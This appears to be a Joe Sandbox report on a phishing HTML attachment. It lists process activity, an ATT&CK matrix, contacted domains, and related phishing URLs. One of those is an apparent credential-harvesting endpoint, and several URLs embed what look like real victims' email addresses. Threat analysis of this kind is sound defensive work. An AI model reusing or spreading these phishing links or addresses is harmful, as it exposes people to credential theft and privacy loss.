Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,6179367452163744603,9659140585519175776,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5032 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#U25baPlay_VM-Now(John.moorer)ATTT0003.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,6179367452163744603,9659140585519175776,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1984 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,6179367452163744603,9659140585519175776,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5032 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	0%	Avira URL Cloud	safe
https://ableg.venue.it.com/google.php	0%	Avira URL Cloud	safe
https://1419993777-1317754460.cos.ap-singapore.myqcloud.com/attach%2Fbootstrap.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
sgp.file.myqcloud.com	43.152.64.193	true	false	high
beacons3.gvt2.com	142.250.81.227	true	false	high
ableg.venue.it.com	172.67.129.181	true	false	unknown
e329293.dscd.akamaiedge.net	23.209.72.9	true	false	high
beacons-handoff.gcp.gvt2.com	142.250.114.94	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
beacons2.gvt2.com	142.250.76.195	true	false	high
beacons.gvt2.com	142.251.116.94	true	false	high
beacons6.gvt2.com	142.250.81.227	true	false	high
s-part-0010.t-0009.t-msedge.net	13.107.246.38	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
e1315.dsca.akamaiedge.net	23.56.162.51	true	false	high
resc.cloudinary.com.cdn.cloudflare.net	104.17.201.1	true	false	high
www.google.com	142.251.41.4	true	false	high
beacons4.gvt2.com	216.239.32.116	true	false	high
res.cloudinary.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high
1419993777-1317754460.cos.ap-singapore.myqcloud.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	true	Avira URL Cloud: safe	unknown
https://aadcdn.msauthimages.net/dbd5a2dd-fgnlb6oer4ubn9eew2k2l3xqusibtnwnhg5xa5gn1hq/logintenantbranding/0/bannerlogo?ts=638477429657370653	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://res.cloudinary.com/dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png	false		high
https://ableg.venue.it.com/google.php	false	Avira URL Cloud: safe	unknown
https://1419993777-1317754460.cos.ap-singapore.myqcloud.com/attach%2Fbootstrap.min.js	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_112.3.dr, chromecache_105.3.dr	false	high
https://getbootstrap.com)	chromecache_105.3.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_112.3.dr, chromecache_105.3.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_113.3.dr	false	high
https://getbootstrap.com/)	chromecache_112.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.129.181	ableg.venue.it.com	United States	13335	CLOUDFLARENETUS	false
23.209.72.9	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
43.152.64.193	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
23.56.162.51	e1315.dsca.akamaiedge.net	United States	16625	AKAMAI-ASUS	false
104.17.201.1	resc.cloudinary.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
23.209.72.31	unknown	United States	20940	AKAMAI-ASN1EU	false
142.251.41.4	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644506
Start date and time:	2025-03-20 16:21:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U25baPlay_VM-Now(John.moorer)ATTT0003.html renamed because original name is a hash value
Original Sample Name:	Play_VM-Now(John.moorer)ATTT0003.html
Detection:	MAL
Classification:	mal84.phis.winHTML@24/27@127/11
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.72.110, 142.250.80.35, 172.253.62.84, 142.250.80.78, 142.251.40.238, 142.251.40.206, 142.250.65.238, 142.251.40.106, 142.251.40.142, 142.251.40.174, 142.250.80.110, 142.250.65.206, 142.251.32.110, 142.250.80.3, 142.251.40.99, 142.250.65.174, 142.250.64.78, 142.250.80.46, 184.30.55.36, 184.31.69.3, 52.149.20.212, 20.24.121.134, 150.171.28.10, 23.44.203.186, 13.107.246.40, 13.107.246.38
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, g.bing.com, aadcdn.msauth.net, arc.msn.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.209.72.9	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=r3yI_dSxOEiPJ_sFtWv0u-et2ubyS_1IvjO44TlrG4RUNU4xQUtYREpWQVhXSzJWUVMxMkwySkhRUS4u	Get hash	malicious	HTMLPhisher	Browse
	d8b22e2e.msg	Get hash	malicious	HTMLPhisher	Browse
	https://polestubllin.ac-page.com/documents-nowreview-copy?test=true&data=05%7C02%7Cdeborah.cantu@christushealth.org%7C9e7f5b22750f4b0a926208dd67155304%7C731939eac4fc4b44872b087271216567%7C0%7C0%7C6387800636099fil34288UnknownTWFpbGZsb3d8eyJFbXB0U1hcGkiOnRydWUsIlYiOilwLjAuMDAwMCIsllAiOiJXaW4zMilslkFOIjoiTWFpbClsildUljoyfQ==%7C0%7C%7C%7C&sdata=JEFyfacBrjqR1C9dEXbaS2KjW2qYjj+roFIB112Wvg=&reserved=0	Get hash	malicious	HTMLPhisher	Browse
	https://api.mixpanel.com/track?data=eyJldmVudCI6ICIkY2FtcGFpZ25fbGlua19jbGljayIsICJwcm9wZXJ0aWVzIjogeyJjYW1wYWlnbl9pZCI6IDUzNzgyMDQsICJkaXN0aW5jdF9pZCI6ICIxNjE4OTgiLCAibWVzc2FnZV9pZCI6IDEyMTE1MDgsICJ0b2tlbiI6ICI4NDhlOGVjYTBjYjdmNGRjZWE1ODljMWIxMTg2NmQ2YSIsICJ0eXBlIjogImVtYWlsIiwgInVybCI6ICJodHRwOi8vd3d3LmdvbGZnYW1lYm9vay5jb20ifX0=&redirect=https://tornillosind.com.mx/g63c/6195742747/Daversapartners/?nl=anVsaWUud3JhcHBAZGF2ZXJzYXBhcnRuZXJzLmNvbQ==	Get hash	malicious	Unknown	Browse
	https://nwsyork.lamboi.xyz/HnBTHlrQ#parts@foster-uk.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	f1215887448.exe	Get hash	malicious	Unknown	Browse
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	d8b22e2e.msg	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://e2025mupdate.us/53t0wWaZzWTxAUFkbsq5scSE0LvHDo9O9wXKWOVXzwQ53t0wWaZzWTxAUFkbsq5scSkDjIH0GDqPfBskxc/E0LvHxAUFkbsq5scSkDjIH0GDqPfBskx/PORTALS-DD2.shtml#administracion@clinicaelenasuarez.com	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://trimmon.de	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://owa.spaceadvancedmaterials.de/nO1Le?e=jam@hotmail.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://polestubllin.ac-page.com/documents-nowreview-copy?test=true&data=05%7C02%7Cdeborah.cantu@christushealth.org%7C9e7f5b22750f4b0a926208dd67155304%7C731939eac4fc4b44872b087271216567%7C0%7C0%7C6387800636099fil34288UnknownTWFpbGZsb3d8eyJFbXB0U1hcGkiOnRydWUsIlYiOilwLjAuMDAwMCIsllAiOiJXaW4zMilslkFOIjoiTWFpbClsildUljoyfQ==%7C0%7C%7C%7C&sdata=JEFyfacBrjqR1C9dEXbaS2KjW2qYjj+roFIB112Wvg=&reserved=0	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
sgp.file.myqcloud.com	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	https://bonsoiree.mareanebulosasao.it.com/IFEXy	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13	Get hash	malicious	Unknown	Browse	43.153.232.152
	ATT50896.svg	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0	Get hash	malicious	Unknown	Browse	43.153.232.151
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	Inv#8653763981_2sfgPaymentAdvice.svg	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	.svg	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	ATT48234.svg	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
s-part-0012.t-0009.t-msedge.net	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.107.246.40
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://krunk.basalikum.top/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://click-1928265.icptrack.com/icp/relay.php?r=337124&msgid=1059&act=L49B&c=1928265&pid=832&destination=https%3A%2F%2Fdemo.westendmediagroup.com%2F&cf=684&v=e3f6a2f915319d0568ea158e5869daa7ccbad45a51971e37ef8b11cd38f525f8	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=r3yI_dSxOEiPJ_sFtWv0u-et2ubyS_1IvjO44TlrG4RUNU4xQUtYREpWQVhXSzJWUVMxMkwySkhRUS4u	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	d8b22e2e.msg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://mandrillapp.com/track/click/30319935/app.axure.cloud?p=eyJzIjoiVlZjanVlTVFEa1dCMEdNcWdqM3N2M1V2TXRzIiwidiI6MSwicCI6IntcInVcIjozMDMxOTkzNSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5heHVyZS5jbG91ZFxcXC9ERFZPOUhcXFwvXCIsXCJpZFwiOlwiMWRmZjdjZjYyZmFhNGNiN2I5NWI1MjA4Y2FjM2I2MzJcIixcInVybF9pZHNcIjpbXCIzNjBjNGIwODczODAyZGVjZTE1NTNhYmM1MGQwZjViMGMyNTdjMzM2XCJdfSJ9	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	https://links.notification.intuit.com/ls/click?upn=u001.Hu9nToJLxsJSQR8ZHWn8Ib7JikYF6PNXv5VK-2BAfeSpVHPRNy-2BFDtJ-2BhNUfKXTverofrKjvXVKH4ba5KbTX-2BS4eFKBNIeizbujK19U0vzEaYjORKolL2uckAyKrgdUZOjGQq-2BjVejDDyVM3SCfeFxK3HybfSGmNCc9RFjxlVYimcWir5ethy3oTT-2BLuoT5-2FAOyNzO5m3RvD5JcTKugaMmRNFPXc8pzfUZ2SZSc6aWVa-2BaXY4MQjxVc5OlB9Kee-2FV3M8PkZTFjkopGtGWJL1aNzQ-3D-3DKvqT_N64RM5hAnyn38Hkfm1qJFdJ0n6cdcVVcIxpIzfu6IeTF-2F9vozsQ4ONt3eU90ERcK4vDxFH3HBjfJhGCRGzGJUhDF9X3Zzf62jyThlSVUjM065ltdaKhHxb8oX2t-2FyI4nglitbeko4jHqpdUhvwTb4qhSvHv6ZMZDW-2FKbwHodf1SM0HBhj65nWgj3sy0pVKxWiSJO-2Fwm04mCSd1ykh7waYjFSBWw3-2FsDTlFPaSknQg1XTOS-2BpsZQNwL12sgyojHeQeRYMnQa4EV-2FGPi5J-2FmuwU2Z7ghhyyn-2F8jKrX70WLHTSMInZhmzNClrwP5Fv1FZctk2qY3EEraW9MRruiAzIy50bp0-2FPYFWwNjxfYYpT0dv0RyczSBc3oHvHqFaw6vknD4vEGTJU55CERYFM4iNhaesgeqhqv3Y7Zu6XQJ-2Fft9ZZ1JXDOsM1geJP5Uf7-2BitfymS0FXjrgjULHO7E3mD6XkZfuOBGyi2MF4BHBh9Es0XDkskKnG8AqQy1Y9Br6-2BKqOUT288IO0MbeeK-2B2dkjjrTsBCzXZE2wrne-2BlgmKrb3claqs8mjLWfpti-2F5acRHlOffifgduPIJ0yCNTSvoj1OrEhqyEeHDOUg-2B4FPhY9vrTFpEGe7BUBTl-2BEvQTLDQk7jrDDOKxOCyA7KiUJ9nVKjHKh8gwOo5jolqCysD9Zff84Ezm51MN54BPddQXGKZ1nRJ-2BJmuTkXOYKli8qGD1rwXlMYCDWldN95PZqHQrHpMASDCdHH62pna1Wt7nlVtiRszWzvpqE-2FJtfTf42rx5qfeoO4T03XpsCbRAbg65rarxVAMPgIHXOF7mQBm7wOPFS1pwG3gmu8506MVOc4MdxdO1RwwPDodzKN8CzpIGIbQkOVbHneV5uFRqD2rz6aiFn5I5klzrHLGAPjm5NLR0Ap7MHm7lTrn3jKh4rkcljhGtVjwgIBr4Zpqd-2BYcVyguH-2FQPui-2F2r1suRTmwcHoNrqv8tfWVvpilotAjlp9uC6Kf1Kfr44yc-2BYF3JthnxrPUS6aeO95WIm9ImS-2BSAXKr8AvlUHDcGhs343yge1RuauByDFJaUav8U6SiUbLzRuXWCIPz8-2FtvzYEo7EIPI5n8M-2FAlRgKYdMSLYx1G37-2BSORda0ZeqLeRZaQoT-2BcAc-2BxGn6uTlnjP3AaXwXV281j6yag-2BwtyxOFDSdbDGFILos1E-2FqDhhYJvA-2BjmjQ00ac9Kk1z8wGFn2X2L2kI6Q2SpP3PcQ90uFCbOLtZJADysIfQ6FZVm9-2Ft12T9wUbLLqHIvG6hFVUJ1jMk-2B1COacq1feaWLwcoBQKcX3XqDufF8FxmZ40U2pklh3s4Z9p0K8fmf-2BRQJGu9N-2B3V4ztuGazDIvctPWDgtrPNIW1xB6VBzcObEOuy4-3D	Get hash	malicious	Unknown	Browse	184.31.71.220
	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	https://tbit.be/ZP5s8q	Get hash	malicious	Unknown	Browse	104.117.182.64
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	23.44.133.184
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	23.209.72.31
	https://krunk.basalikum.top/	Get hash	malicious	HTMLPhisher	Browse	23.44.136.154
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	https://click-1928265.icptrack.com/icp/relay.php?r=337124&msgid=1059&act=L49B&c=1928265&pid=832&destination=https%3A%2F%2Fdemo.westendmediagroup.com%2F&cf=684&v=e3f6a2f915319d0568ea158e5869daa7ccbad45a51971e37ef8b11cd38f525f8	Get hash	malicious	HTMLPhisher	Browse	172.232.189.114
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=r3yI_dSxOEiPJ_sFtWv0u-et2ubyS_1IvjO44TlrG4RUNU4xQUtYREpWQVhXSzJWUVMxMkwySkhRUS4u	Get hash	malicious	HTMLPhisher	Browse	23.44.201.172
CLOUDFLARENETUS	https://bid-docs-groovy-site-b6a761.webflow.io/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.31.170
	https://links.notification.intuit.com/ls/click?upn=u001.Hu9nToJLxsJSQR8ZHWn8Ib7JikYF6PNXv5VK-2BAfeSpVHPRNy-2BFDtJ-2BhNUfKXTverofrKjvXVKH4ba5KbTX-2BS4eFKBNIeizbujK19U0vzEaYjORKolL2uckAyKrgdUZOjGQq-2BjVejDDyVM3SCfeFxK3HybfSGmNCc9RFjxlVYimcWir5ethy3oTT-2BLuoT5-2FAOyNzO5m3RvD5JcTKugaMmRNFPXc8pzfUZ2SZSc6aWVa-2BaXY4MQjxVc5OlB9Kee-2FV3M8PkZTFjkopGtGWJL1aNzQ-3D-3DKvqT_N64RM5hAnyn38Hkfm1qJFdJ0n6cdcVVcIxpIzfu6IeTF-2F9vozsQ4ONt3eU90ERcK4vDxFH3HBjfJhGCRGzGJUhDF9X3Zzf62jyThlSVUjM065ltdaKhHxb8oX2t-2FyI4nglitbeko4jHqpdUhvwTb4qhSvHv6ZMZDW-2FKbwHodf1SM0HBhj65nWgj3sy0pVKxWiSJO-2Fwm04mCSd1ykh7waYjFSBWw3-2FsDTlFPaSknQg1XTOS-2BpsZQNwL12sgyojHeQeRYMnQa4EV-2FGPi5J-2FmuwU2Z7ghhyyn-2F8jKrX70WLHTSMInZhmzNClrwP5Fv1FZctk2qY3EEraW9MRruiAzIy50bp0-2FPYFWwNjxfYYpT0dv0RyczSBc3oHvHqFaw6vknD4vEGTJU55CERYFM4iNhaesgeqhqv3Y7Zu6XQJ-2Fft9ZZ1JXDOsM1geJP5Uf7-2BitfymS0FXjrgjULHO7E3mD6XkZfuOBGyi2MF4BHBh9Es0XDkskKnG8AqQy1Y9Br6-2BKqOUT288IO0MbeeK-2B2dkjjrTsBCzXZE2wrne-2BlgmKrb3claqs8mjLWfpti-2F5acRHlOffifgduPIJ0yCNTSvoj1OrEhqyEeHDOUg-2B4FPhY9vrTFpEGe7BUBTl-2BEvQTLDQk7jrDDOKxOCyA7K